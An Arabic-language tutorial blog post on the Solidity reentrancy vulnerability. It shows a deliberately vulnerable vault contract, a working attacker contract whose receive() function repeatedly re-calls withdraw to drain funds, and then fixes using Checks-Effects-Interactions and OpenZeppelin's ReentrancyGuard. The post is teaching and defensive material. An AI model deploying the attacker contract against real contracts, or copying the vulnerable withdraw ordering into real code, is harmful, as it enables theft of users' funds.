أمن العقود الذكية (1): ثغرة إعادة الدخول (Reentrancy Attack) الشهيرة وكيفية استغلالها
أمن العقود الذكية (1): ثغرة إعادة الدخول (Reentrancy Attack) الشهيرة وكيفية استغلالها
عند الانتقال من مرحلة تعلّم مدخل إلى Web3: ما هو البلوكتشين ولماذا يغير شكل الإنترنت والأنظمة المالية؟ إلى بناء تطبيقات مالية حقيقية، يصبح أمن Smart Contracts أولوية مطلقة. ومن بين أشهر الثغرات التي هزّت عالم Ethereum تاريخياً تأتي ثغرة Reentrancy Attack، وهي ليست مجرد خطأ نظري، بل نمط هجومي أدى فعلياً إلى سرقة مبالغ ضخمة بسبب ترتيب تنفيذي غير آمن داخل العقد.
هذه الثغرة تظهر عادة عندما يقوم العقد بإرسال Ether إلى عنوان خارجي قبل أن يحدّث حالته الداخلية. إذا كان المستلم عقداً خبيثاً، يمكنه استغلال دوال fallback أو receive لإعادة استدعاء الدالة نفسها مراراً قبل أن يتم خصم رصيده فعلياً.
لفهم هذا السيناريو بعمق، يفيد الرجوع إلى مقال استلام وإرسال الأموال (Ether) برمجياً: فهم الدوال payable و fallback، وكذلك مقال القواميس (Mappings): أسرع طريقة لربط عناوين المحافظ بأرصدتها (Key-Value) لأن معظم أمثلة الاستغلال تعتمد على تخزين أرصدة المودعين داخل mapping ثم سحبها بدالة ضعيفة الحماية.
ما هي ثغرة إعادة الدخول من منظور تنفيذي داخل EVM؟
تحدث ثغرة Reentrancy عندما تسمح دالة في عقد ما بانتقال التنفيذ إلى عقد خارجي، ثم يعود هذا العقد الخارجي ليستدعي الدالة الأصلية قبل أن تنتهي وتغلق حالتها الداخلية. هنا لا توجد “مزامنة” تقليدية كما في تطبيقات الويب، بل يوجد تدفّق استدعاءات متداخل على مستوى المعاملة نفسها.
الخطر الحقيقي يكمن في أن المطوّر قد يفترض أن تنفيذ الدالة يسير خطياً: تحقق، إرسال أموال، تحديث رصيد. لكن في الواقع، خطوة الإرسال قد تمنح المستلم فرصة تشغيل كود خاص به. وإذا لم يكن رصيد المستخدم قد صُفّر بعد، فسيرى العقد الخبيث أن الرصيد ما زال متاحاً، فيسحب مرة ثانية وثالثة داخل المعاملة نفسها.
النمط الضعيف الشائع
- المستخدم يودع أموالاً في العقد.
- العقد يسجّل الرصيد في
balances[msg.sender]. - عند السحب، يرسل العقد الأموال أولاً باستخدام
call. - قبل تصفير الرصيد، ينفذ العقد المهاجم كوداً يعيد استدعاء دالة السحب.
- تتكرر العملية حتى يتم استنزاف رصيد العقد أو يوشك الغاز على الانتهاء.
عقد ضعيف قابل للاستغلال
المثال التالي يوضّح عقداً بسيطاً يستقبل الإيداعات ويتيح السحب، لكنه يرتّب العمليات بصورة خاطئة. إذا كنت قد قرأت مقال الدوال (Functions) في Solidity: من يمكنه قراءة وتعديل بيانات العقد؟ فستلاحظ أن المشكلة ليست في تعريف الدالة فقط، بل في لحظة تعديل state بعد التفاعل الخارجي.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] = 0;
}
function getContractBalance() external view returns (uint256) {
return address(this).balance;
}
}
المشكلة هنا واضحة: السطر الذي يستدعي msg.sender.call ينقل التحكم إلى الخارج قبل تنفيذ balances[msg.sender] = 0. وهذا يفتح الباب تماماً أمام الاستدعاء المتكرر.
لا تفترض أبداً أن إرسال الأموال عملية “نهائية” لا يمكن المقاطعة خلالها. في
EVM، أي استدعاء خارجي قد يعيد التحكم بعقدك بطريقة غير متوقعة، لذلك يجب أن يسبق تحديث الحالة أي تفاعل خارجي.
كيف يستغل المهاجم هذه الثغرة عملياً؟
ينشر المهاجم عقداً خبيثاً يعرف عنوان العقد الضحية. ثم يودع مبلغاً صغيراً أولاً ليحصل على رصيد قانوني داخل العقد. بعد ذلك يستدعي دالة الهجوم، فتبدأ عملية السحب الأولى. وعندما تصل الأموال إلى العقد المهاجم، تعمل دالة receive تلقائياً وتعيد استدعاء السحب من جديد.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IVulnerableVault {
function deposit() external payable;
function withdraw() external;
}
contract ReentrancyAttacker {
IVulnerableVault public target;
uint256 public attackAmount;
constructor(address _target) {
target = IVulnerableVault(_target);
}
function attack() external payable {
require(msg.value > 0, "Send ETH");
attackAmount = msg.value;
target.deposit{value: msg.value}();
target.withdraw();
}
receive() external payable {
if (address(target).balance >= attackAmount) {
target.withdraw();
}
}
function collect() external {
payable(msg.sender).transfer(address(this).balance);
}
}
في هذا المثال، دالة receive هي قلب الهجوم. فبدلاً من الاكتفاء باستقبال الأموال، تستغل فرصة عودة التحكم لتطلب سحباً جديداً. ما دام العقد الضحية لم يصفّر الرصيد بعد، سيستمر السحب بنجاح.
تسلسل التنفيذ خطوة بخطوة
- المهاجم يرسل مثلاً
1 ETHإلى دالةattack(). - العقد الخبيث يودع المبلغ في العقد الضحية عبر
deposit(). - يبدأ أول سحب عبر
withdraw(). - العقد الضحية يرسل
Etherقبل تحديث الرصيد. - تعمل
receive()في عقد المهاجم وتعيد السحب. - يتكرر ذلك حتى يفرغ رصيد العقد المستهدف.
لماذا لا تكفي require وحدها للحماية؟
كثير من المطورين الجدد يظنون أن وجود require(amount > 0) كافٍ. لكن هذا الشرط يتحقق فعلاً في كل استدعاء متكرر لأن الرصيد لم يتغير بعد. لذلك فالمشكلة ليست في غياب التحقق، بل في ترتيب الأوامر داخل الدالة.
ولفهم منطق الشروط والاستثناءات بدقة، يمكن الرجوع إلى مقال التعامل مع الأخطاء وإرجاع الأموال: استخدام require, assert, revert. هذه الأدوات تمنع كثيراً من الأخطاء، لكنها لا تعالج التصميم التنفيذي الخاطئ إذا كان العقد يسمح بإعادة الدخول أصلاً.
الطريقة الصحيحة للحماية: نمط Checks-Effects-Interactions
أفضل دفاع أساسي ضد هذا النوع من الهجمات هو نمط Checks-Effects-Interactions. فكرته بسيطة: تحقّق أولاً، عدّل الحالة ثانياً، ثم تفاعل مع العقود الخارجية أخيراً. بهذا، حتى لو حدثت محاولة إعادة دخول، ستجد أن الرصيد أصبح صفراً بالفعل.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract SafeVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
في هذا الإصدار، حتى لو حاول المستلم إعادة استدعاء withdraw()، فإن الشرط الأول سيفشل لأن الرصيد تم تصفيره قبل الإرسال.
طبقة حماية إضافية باستخدام ReentrancyGuard
في المشاريع الاحترافية لا يُعتمد على ترتيب الأوامر فقط، بل تُستخدم أيضاً أدوات مجرّبة مثل مكتبة استخدام مكتبة OpenZeppelin لكتابة عقود ذكية آمنة ومختبرة مسبقاً. من أشهرها العقد ReentrancyGuard الذي يوفّر modifier يمنع الدخول المتداخل إلى الدالة نفسها.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract ProtectedVault is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
أمنياً، استخدام
nonReentrantممتاز، لكنه ليس بديلاً عن التصميم الصحيح. اجمع دائماً بين نمطChecks-Effects-Interactions، المراجعة الأمنية، والاختبارات العدائية.
كيف تختبر هذه الثغرة قبل النشر؟
إذا كنت تعمل على بيئة الانتقال إلى بيئة العمل الاحترافية: تثبيت إطار عمل Hardhat باستخدام Node.js، فمن الضروري إنشاء اختبارات تحاكي عقداً مهاجماً لا مجرد مستخدم عادي. كما أن مقال اختبار العقود الذكية محلياً: كتابة اختبارات الوحدة (Unit Tests) باستخدام Chai & Mocha مهم جداً هنا، لأن اختبارات الأمان يجب أن تثبت أن السحب المتكرر مستحيل.
- اختبر الإيداع والسحب الطبيعي أولاً.
- أنشئ عقد مهاجم داخل الاختبار.
- تحقق أن العقد الضعيف يفقد رصيده عند الهجوم.
- تأكد أن العقد المحمي يرفض إعادة الدخول.
- راجع استهلاك
gasبعد إضافة الحماية.
من زاوية
Gas Optimization، لا تجعل هاجس تقليل التكلفة يدفعك لإزالة ضوابط الأمان. أي توفير طفيف في الغاز لا يساوي خسارة كاملة للأموال. راجع أيضاً التكاليف (Gas Fees): كيف يحسب البلوكتشين تكلفة تنفيذ الأكواد؟.
خلاصة عملية للمطور
ثغرة Reentrancy Attack ليست خدعة غامضة، بل نتيجة مباشرة لكتابة دوال تحول التحكم إلى الخارج قبل تثبيت الحالة الداخلية. لهذا السبب تُعد من أول دروس أمن Smart Contracts التي يجب على أي مطور استيعابها بعمق.
القاعدة الذهبية بسيطة: لا ترسل أموالاً قبل تحديث البيانات، لا تثق في العقود الخارجية، واستخدم مكتبات حماية موثوقة مع اختبارات هجومية حقيقية. وإذا أتقنت هذا المفهوم، فستكون قد قطعت خطوة أساسية نحو بناء بروتوكولات أكثر أماناً واعتمادية داخل عالم Web3.
20 comments